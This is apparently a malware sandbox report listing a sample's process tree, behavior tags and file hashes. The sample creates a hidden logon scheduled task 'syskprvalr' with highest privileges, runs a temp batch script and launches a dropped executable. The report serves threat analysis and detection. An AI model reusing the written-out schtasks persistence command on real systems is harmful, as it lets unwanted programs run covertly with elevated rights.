C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "syskprvalr" /tr '"C:\Users\Admin\AppData\Roaming\syskprvalr.exe"' & exit7⤵PID:1980
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "syskprvalr" /tr '"C:\Users\Admin\AppData\Roaming\syskprvalr.exe"'8⤵
- Scheduled Task/Job: Scheduled Task
PID:1940
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAC0F.tmp.bat""7⤵PID:4104
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C:\Windows\system32\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
PID:844
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C:\Users\Admin\AppData\Roaming\syskprvalr.exe"C:\Users\Admin\AppData\Roaming\syskprvalr.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:4420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53eb3833f769dd890afc295b977eab4b4
SHA1e857649b037939602c72ad003e5d3698695f436f
SHA256c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
SHA512c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
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Filesize
2KB
MD5debee9a5d8ae06b9bd47231e63435704
SHA1ddec3b3bc7fff4df48ac910ce4bef1a6021a57a4
SHA256c24e1d10ed1c4b1d8380c2a20bb8fccf356d5ac98d17617c0cfa8851228cdbaf
SHA512d95148112c01f060e3d44f87e6c0c52d01d3389bfd0a66c3d6a7f658cae56c7b021d0dcfbdb6f91fbb8158acd1c4bf6da96e0a55bd129ec42ade320a338ee0e2
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Filesize
2KB
MD53ccf13786554a09feada0ddedbc8a646
SHA154d359350816173172d9a351b465207e4be88a8f
SHA256f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9
SHA5126fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
154B
MD50fe5dce70ffd2021fd6328b1f890a919
SHA12fefca5025bed60deac982aa3bf58dd27240ca43
SHA2565fb5113b19345bdf410515e9985c8de25b0b6f297938311975e51797797d979e
SHA5123333c81cc4a0722708ced2c70163b0f4516501c2ed97ee61997648bea1e09c5519207ca46828aa8d678d5341669adf86335a61d4299da2a1f660545d77ee0399
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Filesize
124B
MD5c72f07fe8f8240efa8dc995c0b74031c
SHA14652239958486b344430744fc7a1470c1c156b0b
SHA2568de1b345a3d299e8c811b519e13e57e2384810113cd360dbbca9c96d5c493086
SHA5123687de44529d1e6439e80f800205deba4e89452e04657b0b320ec5bb208f26af5799fc2fe83231ee9021452f24004b543e43ddf31e0aca823180cfabbd605e16
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Filesize
445KB
MD52e5a8590cf6848968fc23de3fa1e25f1
SHA1801262e122db6a2e758962896f260b55bbd0136a
SHA2569785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3
SHA5125c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8
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Filesize
3KB
MD5c6086d02f8ce044f5fa07a98303dc7eb
SHA16116247e9d098b276b476c9f4c434f55d469129c
SHA2568901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0
SHA5121876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a
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Filesize
3KB
MD539b9eb9d1a56bc1792c844c425bd1dec
SHA1db5a91082fa14eeb6550cbc994d34ebd95341df9
SHA256acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692
SHA512255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51
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Filesize
2KB
MD54ac1741ceb19f5a983079b2c5f344f5d
SHA1f1ebd93fbade2e035cd59e970787b8042cdd0f3b
SHA2567df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
SHA512583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd
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Filesize
2KB
MD5a9124c4c97cba8a07a8204fac1696c8e
SHA11f27d80280e03762c7b16781608786f5a98ff434
SHA2568ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
SHA512537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392